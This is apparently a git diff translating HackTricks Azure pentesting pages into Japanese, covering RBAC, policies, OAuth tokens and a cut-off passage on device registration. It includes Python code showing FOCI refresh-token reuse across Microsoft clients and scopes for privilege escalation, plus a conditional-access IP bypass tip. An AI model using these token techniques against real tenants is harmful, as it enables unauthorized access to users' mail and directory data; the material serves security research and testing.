+- ここに[**すべてのAzure組み込みロール**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)のリストがあります。
+- ここに[**すべてのEntra ID組み込みロール**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference)のリストがあります。
 
-### Custom Roles
+### カスタムロール
 
-- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)
-- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups)
-- It’s possible to configure all the granular permissions the custom role will have
-- It’s possible to exclude permissions
-  - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere
-- It’s possible to use wildcards
-- The used format is a JSON
-  - `actions` are for control actions over the resource
-  - `dataActions` are permissions over the data within the object
-
-Example of permissions JSON for a custom role:
+- [**カスタムロール**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)を作成することも可能です。
+- これらはスコープ内に作成されますが、ロールは複数のスコープ（管理グループ、サブスクリプション、リソースグループ）に存在できます。
+- カスタムロールが持つすべての詳細な権限を構成できます。
+- 権限を除外することも可能です。
+- 除外された権限を持つプリンシパルは、他の場所で権限が付与されていてもそれを使用できません。
+- ワイルドカードを使用することも可能です。
+- 使用される形式はJSONです。
+- `actions`はリソースに対する制御アクションのためのものです。
+- `dataActions`はオブジェクト内のデータに対する権限です。
 
+カスタムロールの権限JSONの例:
 ```json
 {
-  "properties": {
-    "roleName": "",
-    "description": "",
-    "assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
-    "permissions": [
-      {
-        "actions": [
-          "Microsoft.DigitalTwins/register/action",
-          "Microsoft.DigitalTwins/unregister/action",
-          "Microsoft.DigitalTwins/operations/read",
-          "Microsoft.DigitalTwins/digitalTwinsInstances/read",
-          "Microsoft.DigitalTwins/digitalTwinsInstances/write",
-          "Microsoft.CostManagement/exports/*"
-        ],
-        "notActions": [
-          "Astronomer.Astro/register/action",
-          "Astronomer.Astro/unregister/action",
-          "Astronomer.Astro/operations/read",
-          "Astronomer.Astro/organizations/read"
-        ],
-        "dataActions": [],
-        "notDataActions": []
-      }
-    ]
-  }
+"properties": {
+"roleName": "",
+"description": "",
+"assignableScopes": ["/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f"],
+"permissions": [
+{
+"actions": [
+"Microsoft.DigitalTwins/register/action",
+"Microsoft.DigitalTwins/unregister/action",
+"Microsoft.DigitalTwins/operations/read",
+"Microsoft.DigitalTwins/digitalTwinsInstances/read",
+"Microsoft.DigitalTwins/digitalTwinsInstances/write",
+"Microsoft.CostManagement/exports/*"
+],
+"notActions": [
+"Astronomer.Astro/register/action",
+"Astronomer.Astro/unregister/action",
+"Astronomer.Astro/operations/read",
+"Astronomer.Astro/organizations/read"
+],
+"dataActions": [],
+"notDataActions": []
+}
+]
+}
 }
 ```
-
 ### Permissions order
 
-- In order for a **principal to have some access over a resource** he needs an explicit role being granted to him (anyhow) **granting him that permission**.
-- An explicit **deny role assignment takes precedence** over the role granting the permission.
+- リソースに対して**principalがアクセスを持つためには**、明示的な役割が彼に付与される必要があります（いかなる方法でも）**その権限を付与します**。
+- 明示的な**拒否役割の割り当ては**、権限を付与する役割よりも優先されます。
 
 
https://link.springer.com/chapter/10.1007/978-1-4842-7325-8_10

 
 ### Global Administrator
 
-Global Administrator is a role from Entra ID that grants **complete control over the Entra ID tenant**. However, it doesn't grant any permissions over Azure resources by default.
+Global Administratorは、**Entra IDテナントに対する完全な制御を付与する**Entra IDの役割です。しかし、デフォルトではAzureリソースに対する権限は付与されません。
 
-Users with the Global Administrator role has the ability to '**elevate' to User Access Administrator Azure role in the Root Management Group**. So Global Administrators can manage access in **all Azure subscriptions and management groups.**\
-This elevation can be done at the end of the page: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
+Global Administratorの役割を持つユーザーは、**Root Management Group内でUser Access Administrator Azure役割に「昇格」する能力を持っています**。したがって、Global Administratorsは**すべてのAzureサブスクリプションおよび管理グループのアクセスを管理できます。**\
+この昇格はページの下部で行うことができます: [https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/\~/Properties](https://portal.azure.com/#view/Microsoft_AAD_IAM/ActiveDirectoryMenuBlade/~/Properties)
 
 

 
 ### Azure Policies
 
-**Azure Policies** are rules that help organizations ensure their resources meet specific standards and compliance requirements. They allow you to **enforce or audit settings on resources in Azure**. For example, you can prevent the creation of virtual machines in an unauthorized region or ensure that all resources have specific tags for tracking.
+**Azure Policies**は、組織がリソースが特定の基準およびコンプライアンス要件を満たすことを保証するためのルールです。これにより、**Azure内のリソースに設定を強制または監査することができます**。たとえば、許可されていない地域での仮想マシンの作成を防止したり、すべてのリソースに追跡用の特定のタグが付けられていることを確認したりできます。
 
-Azure Policies are **proactive**: they can stop non-compliant resources from being created or changed. They are also **reactive**, allowing you to find and fix existing non-compliant resources.
+Azure Policiesは**プロアクティブ**です：非準拠のリソースが作成または変更されるのを防ぐことができます。また、**リアクティブ**でもあり、既存の非準拠リソースを見つけて修正することができます。
 
 #### **Key Concepts**
 
-1. **Policy Definition**: A rule, written in JSON, that specifies what is allowed or required.
-2. **Policy Assignment**: The application of a policy to a specific scope (e.g., subscription, resource group).
-3. **Initiatives**: A collection of policies grouped together for broader enforcement.
-4. **Effect**: Specifies what happens when the policy is triggered (e.g., "Deny," "Audit," or "Append").
+1. **Policy Definition**: 許可または要求されることを指定するJSONで書かれたルール。
+2. **Policy Assignment**: 特定のスコープ（例：サブスクリプション、リソースグループ）にポリシーを適用すること。
+3. **Initiatives**: より広範な強制のためにグループ化されたポリシーのコレクション。
+4. **Effect**: ポリシーがトリガーされたときに何が起こるかを指定します（例：「Deny」、「Audit」、または「Append」）。
 
-**Some examples:**
+**いくつかの例:**
 
-1. **Ensuring Compliance with Specific Azure Regions**: This policy ensures that all resources are deployed in specific Azure regions. For example, a company might want to ensure all its data is stored in Europe for GDPR compliance.
-2. **Enforcing Naming Standards**: Policies can enforce naming conventions for Azure resources. This helps in organizing and easily identifying resources based on their names, which is helpful in large environments.
-3. **Restricting Certain Resource Types**: This policy can restrict the creation of certain types of resources. For example, a policy could be set to prevent the creation of expensive resource types, like certain VM sizes, to control costs.
-4. **Enforcing Tagging Policies**: Tags are key-value pairs associated with Azure resources used for resource management. Policies can enforce that certain tags must be present, or have specific values, for all resources. This is useful for cost tracking, ownership, or categorization of resources.
-5. **Limiting Public Access to Resources**: Policies can enforce that certain resources, like storage accounts or databases, do not have public endpoints, ensuring that they are only accessible within the organization's network.
-6. **Automatically Applying Security Settings**: Policies can be used to automatically apply security settings to resources, such as applying a specific network security group to all VMs or ensuring that all storage accounts use encryption.
+1. **特定のAzure地域でのコンプライアンスの確保**: このポリシーは、すべてのリソースが特定のAzure地域にデプロイされることを保証します。たとえば、企業はGDPRコンプライアンスのためにすべてのデータがヨーロッパに保存されることを望むかもしれません。
+2. **命名基準の強制**: ポリシーはAzureリソースの命名規則を強制できます。これにより、大規模な環境でリソースを整理し、名前に基づいて簡単に識別するのに役立ちます。
+3. **特定のリソースタイプの制限**: このポリシーは、特定のタイプのリソースの作成を制限できます。たとえば、コストを制御するために、特定のVMサイズのような高価なリソースタイプの作成を防ぐポリシーを設定できます。
+4. **タグ付けポリシーの強制**: タグは、リソース管理に使用されるAzureリソースに関連付けられたキーと値のペアです。ポリシーは、すべてのリソースに特定のタグが存在するか、特定の値を持つ必要があることを強制できます。これは、コスト追跡、所有権、またはリソースの分類に役立ちます。
+5. **リソースへの公共アクセスの制限**: ポリシーは、ストレージアカウントやデータベースのような特定のリソースに公共エンドポイントがないことを強制し、組織のネットワーク内でのみアクセスできるようにします。
+6. **セキュリティ設定の自動適用**: ポリシーは、すべてのVMに特定のネットワークセキュリティグループを適用したり、すべてのストレージアカウントが暗号化を使用することを保証したりするなど、リソースにセキュリティ設定を自動的に適用するために使用できます。
 
-Note that Azure Policies can be attached to any level of the Azure hierarchy, but they are **commonly used in the root management group** or in other management groups.
+Azure PoliciesはAzure階層の任意のレベルに添付できますが、**一般的にはルート管理グループ**または他の管理グループで使用されます。
 
 Azure policy json example:
-
 ```json
 {
-  "policyRule": {
-    "if": {
-      "field": "location",
-      "notIn": ["eastus", "westus"]
-    },
-    "then": {
-      "effect": "Deny"
-    }
-  },
-  "parameters": {},
-  "displayName": "Allow resources only in East US and West US",
-  "description": "This policy ensures that resources can only be created in East US or West US.",
-  "mode": "All"
+"policyRule": {
+"if": {
+"field": "location",
+"notIn": ["eastus", "westus"]
+},
+"then": {
+"effect": "Deny"
+}
+},
+"parameters": {},
+"displayName": "Allow resources only in East US and West US",
+"description": "This policy ensures that resources can only be created in East US or West US.",
+"mode": "All"
 }
 ```
+### 権限の継承
 
-### Permissions Inheritance
+Azure **権限は階層の任意の部分に割り当てることができます**。これには管理グループ、サブスクリプション、リソースグループ、および個々のリソースが含まれます。権限は、割り当てられたエンティティの含まれる**リソース**によって**継承**されます。
 
-In Azure **permissions are can be assigned to any part of the hierarchy**. That includes management groups, subscriptions, resource groups, and individual resources. Permissions are **inherited** by contained **resources** of the entity where they were assigned.
-
-This hierarchical structure allows for efficient and scalable management of access permissions.
+この階層構造は、アクセス権限の効率的かつスケーラブルな管理を可能にします。
 
 

 
-### Azure RBAC vs ABAC
+### Azure RBAC と ABAC
 
-**RBAC** (role-based access control) is what we have seen already in the previous sections: **Assigning a role to a principal to grant him access** over a resource.\
-However, in some cases you might want to provide **more fined-grained access management** or **simplify** the management of **hundreds** of role **assignments**.
+**RBAC**（ロールベースのアクセス制御）は、前のセクションで見たものです：**リソースへのアクセスを付与するために、プリンシパルにロールを割り当てる**。\
+しかし、場合によっては、**より細かいアクセス管理**を提供したり、**数百の**ロール**割り当て**の管理を**簡素化**したいことがあります。
 
-Azure **ABAC** (attribute-based access control) builds on Azure RBAC by adding **role assignment conditions based on attributes** in the context of specific actions. A _role assignment condition_ is an **additional check that you can optionally add to your role assignment** to provide more fine-grained access control. A condition filters down permissions granted as a part of the role definition and role assignment. For example, you can **add a condition that requires an object to have a specific tag to read the object**.\
-You **cannot** explicitly **deny** **access** to specific resources **using conditions**.
+Azure **ABAC**（属性ベースのアクセス制御）は、特定のアクションの文脈における**属性に基づくロール割り当て条件**を追加することでAzure RBACを拡張します。_ロール割り当て条件_は、**より細かいアクセス制御を提供するためにオプションでロール割り当てに追加できる追加のチェック**です。条件は、ロール定義およびロール割り当ての一部として付与される権限を絞り込みます。たとえば、**オブジェクトを読み取るために特定のタグを持つ必要がある条件を追加できます**。\
+条件を使用して特定のリソースへの**アクセスを明示的に拒否することはできません**。
 
-## References
+## 参考文献
 
 - [https://learn.microsoft.com/en-us/azure/governance/management-groups/overview](https://learn.microsoft.com/en-us/azure/governance/management-groups/overview)
 - [https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions](https://learn.microsoft.com/en-us/azure/cloud-adoption-framework/ready/azure-best-practices/organize-subscriptions)
@@ -379,7 +375,3 @@ You **cannot** explicitly **deny** **access** to specific resources **using cond
 - [https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration](https://stackoverflow.com/questions/65922566/what-are-the-differences-between-service-principal-and-app-registration)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
index d076e723a..f44f93c5c 100644
--- a/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
+++ b/src/pentesting-cloud/azure-security/az-basic-information/az-tokens-and-public-applications.md
@@ -2,100 +2,99 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## 基本情報
 
-Entra ID is Microsoft's cloud-based identity and access management (IAM) platform, serving as the foundational authentication and authorization system for services like Microsoft 365 and Azure Resource Manager. Azure AD implements the OAuth 2.0 authorization framework and the OpenID Connect (OIDC) authentication protocol to manage access to resources.
+Entra IDは、Microsoftのクラウドベースのアイデンティティおよびアクセス管理（IAM）プラットフォームであり、Microsoft 365やAzure Resource Managerなどのサービスの基盤となる認証および認可システムとして機能します。Azure ADは、リソースへのアクセスを管理するためにOAuth 2.0認可フレームワークとOpenID Connect（OIDC）認証プロトコルを実装しています。
 
 ### OAuth
 
-**Key Participants in OAuth 2.0:**
+**OAuth 2.0の主要参加者:**
 
-1. **Resource Server (RS):** Protects resources owned by the resource owner.
-2. **Resource Owner (RO):** Typically an end-user who owns the protected resources.
-3. **Client Application (CA):** An application seeking access to resources on behalf of the resource owner.
-4. **Authorization Server (AS):** Issues access tokens to client applications after authenticating and authorizing them.
+1. **リソースサーバー（RS）:** リソースオーナーが所有するリソースを保護します。
+2. **リソースオーナー（RO）:** 通常、保護されたリソースを所有するエンドユーザーです。
+3. **クライアントアプリケーション（CA）:** リソースオーナーの代理としてリソースへのアクセスを求めるアプリケーションです。
+4. **認可サーバー（AS）:** クライアントアプリケーションを認証および認可した後、アクセス トークンを発行します。
 
-**Scopes and Consent:**
+**スコープと同意:**
 
-- **Scopes:** Granular permissions defined on the resource server that specify access levels.
-- **Consent:** The process by which a resource owner grants a client application permission to access resources with specific scopes.
+- **スコープ:** アクセスレベルを指定するリソースサーバー上で定義された詳細な権限です。
+- **同意:** リソースオーナーが特定のスコープでリソースにアクセスするためのクライアントアプリケーションに権限を付与するプロセスです。
 
-**Microsoft 365 Integration:**
+**Microsoft 365統合:**
 
-- Microsoft 365 utilizes Azure AD for IAM and is composed of multiple "first-party" OAuth applications.
-- These applications are deeply integrated and often have interdependent service relationships.
-- To simplify user experience and maintain functionality, Microsoft grants "implied consent" or "pre-consent" to these first-party applications.
-- **Implied Consent:** Certain applications are automatically **granted access to specific scopes without explicit user or administrator approva**l.
-- These pre-consented scopes are typically hidden from both users and administrators, making them less visible in standard management interfaces.
+- Microsoft 365はIAMのためにAzure ADを利用し、複数の「ファーストパーティ」OAuthアプリケーションで構成されています。
+- これらのアプリケーションは深く統合されており、相互依存するサービス関係を持つことがよくあります。
+- ユーザーエクスペリエンスを簡素化し、機能を維持するために、Microsoftはこれらのファーストパーティアプリケーションに「暗黙の同意」または「事前同意」を付与します。
+- **暗黙の同意:** 特定のアプリケーションは、明示的なユーザーまたは管理者の承認なしに特定のスコープへのアクセスを自動的に**付与されます**。
+- これらの事前同意されたスコープは通常、ユーザーや管理者から隠されており、標準の管理インターフェースではあまり目立ちません。
 
-**Client Application Types:**
+**クライアントアプリケーションの種類:**
 
-1. **Confidential Clients:**
-   - Possess their own credentials (e.g., passwords or certificates).
-   - Can **securely authenticate themselves** to the authorization server.
-2. **Public Clients:**
-   - Do not have unique credentials.
-   - Cannot securely authenticate to the authorization server.
-   - **Security Implication:** An attacker can impersonate a public client application when requesting tokens, as there is no mechanism for the authorization server to verify the legitimacy of the application.
+1. **機密クライアント:**
+- 自身の資格情報（例：パスワードや証明書）を持っています。
+- 認可サーバーに**安全に自己認証**できます。
+2. **公開クライアント:**
+- ユニークな資格情報を持っていません。
+- 認可サーバーに安全に認証できません。
+- **セキュリティの影響:** 攻撃者は、認可サーバーがアプリケーションの正当性を確認するメカニズムがないため、トークンを要求する際に公開クライアントアプリケーションを偽装できます。
 
-## Authentication Tokens
+## 認証トークン
 
-There are **three types of tokens** used in OIDC:
+OIDCで使用される**3種類のトークン**があります：
 
-- [**Access Tokens**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** The client presents this token to the resource server to **access resources**. It can be used only for a specific combination of user, client, and resource and **cannot be revoked** until expiry - that is 1 hour by default.
-- **ID Tokens**: The client receives this **token from the authorization server**. It contains basic information about the user. It is **bound to a specific combination of user and client**.
-- **Refresh Tokens**: Provided to the client with access token. Used to **get new access and ID tokens**. It is bound to a specific combination of user and client and can be revoked. Default expiry is **90 days** for inactive refresh tokens and **no expiry for active tokens** (be from a refresh token is possible to get new refresh tokens).
-  - A refresh token should be tied to an **`aud`** , to some **scopes**, and to a **tenant** and it should only be able to generate access tokens for that aud, scopes (and no more) and tenant. However, this is not the case with **FOCI applications tokens**.
-  - A refresh token is encrypted and only Microsoft can decrypt it.
-  - Getting a new refresh token doesn't revoke the previous refresh token.
+- [**アクセス トークン**](https://learn.microsoft.com/en-us/azure/active-directory/develop/access-tokens)**:** クライアントはこのトークンをリソースサーバーに提示して**リソースにアクセス**します。これは特定のユーザー、クライアント、およびリソースの組み合わせにのみ使用でき、**期限切れまで取り消すことはできません** - デフォルトでは1時間です。
+- **IDトークン**: クライアントはこの**トークンを認可サーバーから受け取ります**。ユーザーに関する基本情報が含まれています。これは**特定のユーザーとクライアントの組み合わせにバインドされています**。
+- **リフレッシュトークン**: アクセストークンと共にクライアントに提供されます。**新しいアクセスおよびIDトークンを取得するために使用されます**。これは特定のユーザーとクライアントの組み合わせにバインドされており、取り消すことができます。非アクティブなリフレッシュトークンのデフォルトの有効期限は**90日**で、アクティブなトークンには**有効期限がありません**（リフレッシュトークンから新しいリフレッシュトークンを取得することが可能です）。
+- リフレッシュトークンは**`aud`**、いくつかの**スコープ**、および**テナント**に結び付けられており、そのaud、スコープ（それ以上ではなく）およびテナントのためにのみアクセス トークンを生成できる必要があります。ただし、これは**FOCIアプリケーショントークン**には当てはまりません。
+- リフレッシュトークンは暗号化されており、Microsoftのみがそれを復号化できます。
+- 新しいリフレッシュトークンを取得しても、以前のリフレッシュトークンは取り消されません。
 
 > [!WARNING]
-> Information for **conditional access** is **stored** inside the **JWT**. So, if you request the **token from an allowed IP address**, that **IP** will be **stored** in the token and then you can use that token from a **non-allowed IP to access the resources**.
+> **条件付きアクセス**に関する情報は**JWT**内に**保存**されています。したがって、**許可されたIPアドレス**から**トークンを要求**すると、その**IP**がトークンに**保存**され、その後**許可されていないIPからリソースにアクセスするためにそのトークンを使用**できます。
 
-### Access Tokens "aud"
+### アクセストークン "aud"
 
-The field indicated in the "aud" field is the **resource server** (the application) used to perform the login.
+"aud"フィールドに示されたフィールドは、ログインを実行するために使用される**リソースサーバー**（アプリケーション）です。
 
-The command `az account get-access-token --resource-type [...]` supports the following types and each of them will add a specific "aud" in the resulting access token:
+コマンド`az account get-access-token --resource-type [...]`は、以下のタイプをサポートしており、それぞれが結果のアクセス トークンに特定の"aud"を追加します：
 
 > [!CAUTION]
-> Note that the following are just the APIs supported by `az account get-access-token` but there are more.
+> 以下は`az account get-access-token`でサポートされているAPIに過ぎないことに注意してくださいが、他にもあります。
 
 

 
-aud examples
+audの例
 
-- **aad-graph (Azure Active Directory Graph API)**: Used to access the legacy Azure AD Graph API (deprecated), which allows applications to read and write directory data in Azure Active Directory (Azure AD).
-  - `https://graph.windows.net/`
+- **aad-graph (Azure Active Directory Graph API)**: レガシーAzure AD Graph API（非推奨）にアクセスするために使用され、アプリケーションがAzure Active Directory（Azure AD）内のディレクトリデータを読み書きすることを可能にします。
+- `https://graph.windows.net/`
 
-* **arm (Azure Resource Manager)**: Used to manage Azure resources through the Azure Resource Manager API. This includes operations like creating, updating, and deleting resources such as virtual machines, storage accounts, and more.
-  - `https://management.core.windows.net/ or https://management.azure.com/`
+* **arm (Azure Resource Manager)**: Azure Resource Manager APIを通じてAzureリソースを管理するために使用されます。これには、仮想マシン、ストレージアカウントなどのリソースの作成、更新、削除などの操作が含まれます。
+- `https://management.core.windows.net/ or https://management.azure.com/`
 
-- **batch (Azure Batch Services)**: Used to access Azure Batch, a service that enables large-scale parallel and high-performance computing applications efficiently in the cloud.
-  - `https://batch.core.windows.net/`
+- **batch (Azure Batch Services)**: 大規模な並列および高性能コンピューティングアプリケーションをクラウドで効率的に実行するためのサービスであるAzure Batchにアクセスするために使用されます。
+- `https://batch.core.windows.net/`
 
-* **data-lake (Azure Data Lake Storage)**: Used to interact with Azure Data Lake Storage Gen1, which is a scalable data storage and analytics service.
-  - `https://datalake.azure.net/`
+* **data-lake (Azure Data Lake Storage)**: スケーラブルなデータストレージおよび分析サービスであるAzure Data Lake Storage Gen1と対話するために使用されます。
+- `https://datalake.azure.net/`
 
-- **media (Azure Media Services)**: Used to access Azure Media Services, which provide cloud-based media processing and delivery services for video and audio content.
-  - `https://rest.media.azure.net`
+- **media (Azure Media Services)**: ビデオおよびオーディオコンテンツのためのクラウドベースのメディア処理および配信サービスを提供するAzure Media Servicesにアクセスするために使用されます。
+- `https://rest.media.azure.net`
 
-* **ms-graph (Microsoft Graph API)**: Used to access the Microsoft Graph API, the unified endpoint for Microsoft 365 services data. It allows you to access data and insights from services like Azure AD, Office 365, Enterprise Mobility, and Security services.
-  - `https://graph.microsoft.com`
+* **ms-graph (Microsoft Graph API)**: Microsoft 365サービスデータのための統一エンドポイントであるMicrosoft Graph APIにアクセスするために使用されます。Azure AD、Office 365、Enterprise Mobility、Securityサービスなどのサービスからデータとインサイトにアクセスすることを可能にします。
+- `https://graph.microsoft.com`
 
-- **oss-rdbms (Azure Open Source Relational Databases)**: Used to access Azure Database services for open-source relational database engines like MySQL, PostgreSQL, and MariaDB.
-  - `https://ossrdbms-aad.database.windows.net`
+- **oss-rdbms (Azure Open Source Relational Databases)**: MySQL、PostgreSQL、MariaDBなどのオープンソースリレーショナルデータベースエンジンのためのAzure Databaseサービスにアクセスするために使用されます。
+- `https://ossrdbms-aad.database.windows.net`
 
 

 
-### Access Tokens Scopes "scp"
+### アクセストークンのスコープ "scp"
 
-The scope of an access token is stored inside the scp key inside the access token JWT. These scopes define what the access token has access to.
+アクセス トークンのスコープは、アクセス トークンJWT内のscpキーに保存されています。これらのスコープは、アクセス トークンがアクセスできるものを定義します。
 
-If a JWT is allowed to contact an specific API but **doesn't have the scope** to perform the requested action, it **won't be able to perform the action** with that JWT.
-
-### Get refresh & access token example
+JWTが特定のAPIに連絡することが許可されているが、**要求されたアクションを実行するためのスコープを持っていない場合**、そのJWTでアクションを**実行できません**。
 
+### リフレッシュおよびアクセス トークンの取得例
 ```python
 # Code example from https://github.com/secureworks/family-of-client-ids-research
 import msal
@@ -107,17 +106,17 @@ from typing import Any, Dict, List
 
 # LOGIN VIA CODE FLOW AUTHENTICATION
 azure_cli_client = msal.PublicClientApplication(
-    "04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
+"04b07795-8ddb-461a-bbee-02f9e1bf7b46" # ID for Azure CLI client
 )
 device_flow = azure_cli_client.initiate_device_flow(
-    scopes=["https://graph.microsoft.com/.default"]
+scopes=["https://graph.microsoft.com/.default"]
 )
 print(device_flow["message"])
 
 # Perform device code flow authentication
 
 azure_cli_bearer_tokens_for_graph_api = azure_cli_client.acquire_token_by_device_flow(
-    device_flow
+device_flow
 )
 pprint(azure_cli_bearer_tokens_for_graph_api)
 
@@ -125,83 +124,74 @@ pprint(azure_cli_bearer_tokens_for_graph_api)
 
 # DECODE JWT
 def decode_jwt(base64_blob: str) -> Dict[str, Any]:
-    """Decodes base64 encoded JWT blob"""
-    return jwt.decode(
-        base64_blob, options={"verify_signature": False, "verify_aud": False}
-    )
+"""Decodes base64 encoded JWT blob"""
+return jwt.decode(
+base64_blob, options={"verify_signature": False, "verify_aud": False}
+)
 decoded_access_token = decode_jwt(
-    azure_cli_bearer_tokens_for_graph_api.get("access_token")
+azure_cli_bearer_tokens_for_graph_api.get("access_token")
 )
 pprint(decoded_access_token)
 
 
 # GET NEW ACCESS TOKEN AND REFRESH TOKEN
 new_azure_cli_bearer_tokens_for_graph_api = (
-    # Same client as original authorization
-    azure_cli_client.acquire_token_by_refresh_token(
-        azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
-        # Same scopes as original authorization
-        scopes=["https://graph.microsoft.com/.default"],
-    )
+# Same client as original authorization
+azure_cli_client.acquire_token_by_refresh_token(
+azure_cli_bearer_tokens_for_graph_api.get("refresh_token"),
+# Same scopes as original authorization
+scopes=["https://graph.microsoft.com/.default"],
+)
 )
 pprint(new_azure_cli_bearer_tokens_for_graph_api)
 ```
+## FOCIトークンの特権昇格
 
-## FOCI Tokens Privilege Escalation
+以前に述べたように、リフレッシュトークンは生成された**スコープ**、**アプリケーション**、および**テナント**に結び付けられるべきです。これらの境界のいずれかが破られると、ユーザーがアクセスできる他のリソースやテナントに対して、元々意図されたよりも多くのスコープでアクセストークンを生成することが可能になるため、特権を昇格させることができます。
 
-Previously it was mentioned that refresh tokens should be tied to the **scopes** it was generated with, to the **application** and **tenant** it was generated to. If any of these boundaries is broken, it's possible to escalate privileges as it will be possible to generate access tokens to other resources and tenants the user has access to and with more scopes than it was originally intended.
+さらに、[Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/)（Microsoft Entraアカウント、Microsoft個人アカウント、FacebookやGoogleなどのソーシャルアカウント）では、**すべてのリフレッシュトークンでこれが可能です**。なぜなら、[**ドキュメント**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens)には次のように記載されているからです。「リフレッシュトークンはユーザーとクライアントの組み合わせに結び付けられていますが、**リソースやテナントには結び付けられていません**。クライアントは、許可されている任意のリソースとテナントの組み合わせに対してアクセストークンを取得するためにリフレッシュトークンを使用できます。リフレッシュトークンは暗号化されており、Microsoft identity platformのみがそれを読み取ることができます。」
 
-Moreover, **this is possible with all refresh tokens** in the [Microsoft identity platform](https://learn.microsoft.com/en-us/entra/identity-platform/) (Microsoft Entra accounts, Microsoft personal accounts, and social accounts like Facebook and Google) because as the [**docs**](https://learn.microsoft.com/en-us/entra/identity-platform/refresh-tokens) mention: "Refresh tokens are bound to a combination of user and client, but **aren't tied to a resource or tenant**. A client can use a refresh token to acquire access tokens **across any combination of resource and tenant** where it has permission to do so. Refresh tokens are encrypted and only the Microsoft identity platform can read them."
+さらに、FOCIアプリケーションは公開アプリケーションであるため、**サーバーに認証するための秘密は必要ありません**。
 
-Moreover, note that the FOCI applications are public applications, so **no secret is needed** to authenticate to the server.
+次に、[**元の研究**](https://github.com/secureworks/family-of-client-ids-research/tree/main)で報告された既知のFOCIクライアントは、[**こちら**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv)で見つけることができます。
 
-Then known FOCI clients reported in the [**original research**](https://github.com/secureworks/family-of-client-ids-research/tree/main) can be [**found here**](https://github.com/secureworks/family-of-client-ids-research/blob/main/known-foci-clients.csv).
-
-### Get different scope
-
-Following with the previous example code, in this code it's requested a new token for a different scope:
+### 異なるスコープを取得
 
+前の例のコードに続いて、このコードでは異なるスコープの新しいトークンを要求しています：
 ```python
 # Code from https://github.com/secureworks/family-of-client-ids-research
 azure_cli_bearer_tokens_for_outlook_api = (
-    # Same client as original authorization
-    azure_cli_client.acquire_token_by_refresh_token(
-        new_azure_cli_bearer_tokens_for_graph_api.get(
-            "refresh_token"
-        ),
-        # But different scopes than original authorization
-        scopes=[
-            "https://outlook.office.com/.default"
-        ],
-    )
+# Same client as original authorization
+azure_cli_client.acquire_token_by_refresh_token(
+new_azure_cli_bearer_tokens_for_graph_api.get(
+"refresh_token"
+),
+# But different scopes than original authorization
+scopes=[
+"https://outlook.office.com/.default"
+],
+)
 )
 pprint(azure_cli_bearer_tokens_for_outlook_api)
 ```
-
-### Get different client and scopes
-
+### 異なるクライアントとスコープを取得する
 ```python
 # Code from https://github.com/secureworks/family-of-client-ids-research
 microsoft_office_client = msal.PublicClientApplication("d3590ed6-52b3-4102-aeff-aad2292ab01c")
 microsoft_office_bearer_tokens_for_graph_api = (
-    # This is a different client application than we used in the previous examples
-    microsoft_office_client.acquire_token_by_refresh_token(
-        # But we can use the refresh token issued to our original client application
-        azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
-        # And request different scopes too
-        scopes=["https://graph.microsoft.com/.default"],
-    )
+# This is a different client application than we used in the previous examples
+microsoft_office_client.acquire_token_by_refresh_token(
+# But we can use the refresh token issued to our original client application
+azure_cli_bearer_tokens_for_outlook_api.get("refresh_token"),
+# And request different scopes too
+scopes=["https://graph.microsoft.com/.default"],
+)
 )
 # How is this possible?
 pprint(microsoft_office_bearer_tokens_for_graph_api)
 ```
-
-## References
+## 参考文献
 
 - [https://github.com/secureworks/family-of-client-ids-research](https://github.com/secureworks/family-of-client-ids-research)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/azure-security/az-device-registration.md b/src/pentesting-cloud/azure-security/az-device-registration.md
index 5fe503c0b..44b2f2a63 100644
--- a/src/pentesting-cloud/azure-security/az-device-registration.md
+++ b/src/pentesting-cloud/azure-security/az-device-registration.md
@@ -2,43 +2,40 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-## Basic Information
+## 基本情報
 
-When a device joins AzureAD a new object is created in AzureAD.
+デバイスがAzureADに参加すると、新しいオブジェクトがAzureADに作成されます。
 
-When registering a device, the **user is asked to login with his account** (asking for MFA if needed), then it request tokens for the device registration service and then ask a final confirmation prompt.
+デバイスを登録する際、**ユーザーは自分のアカウントでログインするよう求められ**（必要に応じてMFAを要求）、次にデバイス登録サービスのトークンを要求し、最後に確認プロンプトが表示されます。
 
-Then, two RSA keypairs are generated in the device: The **device key** (**public** key) which is sent to **AzureAD** and the **transport** key (**private** key) which is stored in TPM if possible.
-
-Then, the **object** is generated in **AzureAD** (not in Intune) and AzureAD gives back to the device a **certificate** signed by it. You can check that the **device is AzureAD joined** and info about the **certificate** (like if it's protected by TPM).:
+その後、デバイス内に2つのRSAキーペアが生成されます：**デバイスキー**（**公開**キー）は**AzureAD**に送信され、**トランスポート**キー（**秘密**キー）は可能であればTPMに保存されます。
 
